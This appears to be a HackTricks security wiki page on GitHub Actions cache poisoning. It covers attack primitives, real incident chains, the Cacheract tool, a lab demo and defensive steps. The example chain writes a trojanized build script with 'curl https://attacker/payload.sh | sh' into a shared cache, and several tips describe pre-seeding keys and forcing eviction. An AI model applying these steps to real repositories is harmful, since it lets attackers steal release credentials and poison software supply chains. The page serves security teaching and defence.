Sponsored

GH Actions - Cache Poisoning

Overview

The GitHub Actions cache is shared across workflow runs in a repository, subject to branch and tag scope, rather than isolated per workflow or job. Historically, any workflow run with cache-write access that knew a cache key (or restore-keys) could populate that entry even if the job only had permissions: contents: read, so an attacker who compromised a low-privilege job could poison a cache that a privileged release job later restored.[1][2][6] This is how the Ultralytics compromise pivoted from a pull_request_target workflow into the PyPI publishing pipeline.[1][5]

Since June 26, 2026, GitHub issues read-only cache tokens when an untrusted event runs in a default-branch-SHA context. The attack paths below therefore describe historical behavior or runs and scopes that still have cache-write access; verify that a cache save succeeds before testing.[10]

Attack primitives

  • actions/cache exposes both restore and save operations (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). Save eligibility is controlled by the cache scope and token policy: fork pull_request runs cannot write to the default-branch scope, and current GitHub policy also restricts many untrusted default-branch contexts, although legacy writable runs are the source of the attack pattern.[6][7][10]
  • Cache entries are identified by the key, cache version, and branch scope. Prefix matching from restore-keysโ€”and Cache v2's prefix behaviorโ€”makes it easy to inject payloads because the attacker only needs to collide with a prefix.[2][3][6][7]
  • Historically, cache keys and versions were client-specified values. Cache v2 now validates the version format, but the cache service still does not bind a key/version to a trusted workflow or independently validate the archive against the requested cache path.[2][3][4][7]
  • The cache server URL and runtime token have historically outlived short jobs (research documented ~6 hours, later ~90 minutes) and are not user-revocable. As of late 2024, GitHub blocks cache writes after the originating job completes, so attackers must write while the job is still running or pre-poison future keys.[3][4]
  • The cached filesystem is restored verbatim. If the cache contains scripts or binaries that are executed later, the attacker controls that execution path.[2][6]
  • The cache file itself is not validated on restore; it is just a zstd-compressed archive, so a poisoned entry can overwrite scripts, package.json, or other files under the restore path.[2][4][6]

Example exploitation chain

Author workflow (pull_request_target) poisoned the cache:

steps:
  - run: |
      mkdir -p toolchain/bin
      printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
      chmod +x toolchain/bin/build
  - uses: actions/cache/save@v4
    with:
      path: toolchain
      key: linux-build-${{ hashFiles('toolchain.lock') }}

Privileged workflow restored and executed the poisoned cache:

steps:
  - uses: actions/cache/restore@v4
    with:
      path: toolchain
      key: linux-build-${{ hashFiles('toolchain.lock') }}
  - run: toolchain/bin/build release.tar.gz

The second job now runs attacker-controlled code while holding release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).[2][5]

Poisoning mechanics

GitHub Actions cache entries are typically zstd-compressed tar archives. You can craft one locally and upload it to the cache:

tar --zstd -cf poisoned_cache.tzstd cache/contents/here

On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, action.yml, package.json, etc.), you can overwrite them to gain execution.[2][4][7]

Practical exploitation tips

  • In legacy or otherwise writable default-branch contexts, audit workflows triggered by pull_request_target, issue_comment, or bot commands that run untrusted code and save caches; before GitHub's June 2026 restriction, these could overwrite shared keys even when the runner only had repository read permissions. Current runs may receive read-only cache tokens, so verify the event, scope, and cache-save result.[2][6][10]
  • Look for deterministic cache keys reused across trust boundaries (for example, pip-${{ hashFiles('poetry.lock') }}) or permissive restore-keys, then save your malicious tarball before the privileged workflow runs.[2][6]
  • Monitor logs for Cache saved entries or add your own cache-save step so the next release job restores the payload and executes the trojanized scripts or binaries.[7]

Newer techniques seen in the Angular (2026) chain

  • Cache v2 "prefix hit" behavior: In Cache v2, exact misses can still restore another entry sharing the same key prefix (effectively "all keys are restore keys"). Attackers can pre-seed near-collision keys so a future miss falls back to the poisoned object.[3][6]
  • Forced eviction in one run: Since November 20, 2025, GitHub evicts entries immediately when repository cache usage exceeds the limit (10 GB by default). An attacker can upload junk cache data first, evict legitimate entries during the same job, and then write the malicious cache key without waiting for a daily cleanup cycle.[3][9]
  • setup-node cache pivots via reusable actions: Reusable/internal actions that wrap actions/setup-node with cache-dependency-path can silently bridge low-trust and high-trust workflows. If both paths hash to shared keys, poisoning the dependency cache can execute in privileged automation (for example Renovate/bot jobs).[3][6]
  • Chaining cache poisoning into bot-driven supply chain abuse: In the Angular case, cache poisoning exposed a bot PAT, which was then usable to force-push bot-owned PR heads after approval. If approval-reset rules exempt bot actors, this enables swapping reviewed commits for malicious ones (for example imposter action SHAs) before merge.[3]

##รฅ Cacheract

Cacheract is a PoC-focused toolkit for GitHub Actions cache poisoning in authorized testing.[8] The practical value is that it automates the fragile parts that are easy to get wrong manually:

  • Detect and use runtime cache context from the runner (ACTIONS_RUNTIME_TOKEN and cache service URL).[8]
  • Enumerate and target candidate cache keys/versions used by downstream workflows.[8]
  • Force eviction by overfilling cache quota (when applicable) and then writing attacker-controlled entries in the same run.[3][8]
  • Seed poisoned cache content so later workflows restore and execute modified tooling.[3][8]

This is especially useful in Cache v2 environments where timing and key/version behavior matter more than in early cache implementations; the older ActionsCacheBlasting PoC is archived and no longer works against Cache v2.[4][8]

Demo

Use this only in repositories you own or are explicitly allowed to test.

1. Vulnerable workflow (untrusted trigger can save cache)

This workflow simulates a pull_request_target anti-pattern: it writes cache content from attacker-controlled context and saves it under a deterministic key. Current GitHub defaults may issue a read-only cache token for this context, and supported actions/checkout versions now refuse common fork-PR checkout patterns unless explicitly opted out. Use the lab only to model a configuration that intentionally retains cache-write access and permits the untrusted checkout.[10][11]

name: untrusted-cache-writer
on:
  pull_request_target:
    types: [opened, synchronize, reopened]

permissions:
  contents: read

jobs:
  poison:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Build "toolchain" from untrusted context (demo)
        run: |
          mkdir -p toolchain/bin
          cat > toolchain/bin/build << 'EOF'
          #!/usr/bin/env bash
          echo "POISONED_BUILD_PATH"
          echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
          EOF
          chmod +x toolchain/bin/build
      - uses: actions/cache/save@v4
        with:
          path: toolchain
          key: linux-build-${{ hashFiles('toolchain.lock') }}

2. Privileged workflow (restores and executes cached binary/script)

This workflow restores the same key and executes toolchain/bin/build while holding a dummy secret. If poisoned, execution path is attacker-controlled.

name: privileged-consumer
on:
  workflow_dispatch:

permissions:
  contents: read

jobs:
  release_like_job:
    runs-on: ubuntu-latest
    env:
      DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
    steps:
      - uses: actions/cache/restore@v4
        with:
          path: toolchain
          key: linux-build-${{ hashFiles('toolchain.lock') }}
      - name: Execute cached build tool
        run: |
          ./toolchain/bin/build
          test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"

3. Run the lab

  • Add a stable toolchain.lock file so both workflows resolve the same cache key.
  • Trigger untrusted-cache-writer from a test PR.
  • Trigger privileged-consumer via workflow_dispatch.
  • Confirm POISONED_BUILD_PATH appears in logs and /tmp/cache-poisoning-demo.txt is created.

4. What this demonstrates technically

  • Cross-workflow cache trust break: The writer and consumer workflows do not share trust level, but they share cache namespace.[6][10]
  • Execution-on-restore risk: No integrity validation is performed before executing a restored script/binary.[6]
  • Deterministic key abuse: If a high-trust job uses predictable keys, a low-trust job can preposition malicious content.[2][6]

5. Defensive verification checklist

  • Split keys by trust boundary (pr-, ci-, release-) and avoid shared prefixes.
  • Disable cache writes in untrusted workflows.
  • Hash/verify restored executable content before running it.
  • Avoid executing tools directly from cache paths.

References

[!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.

Support HackTricks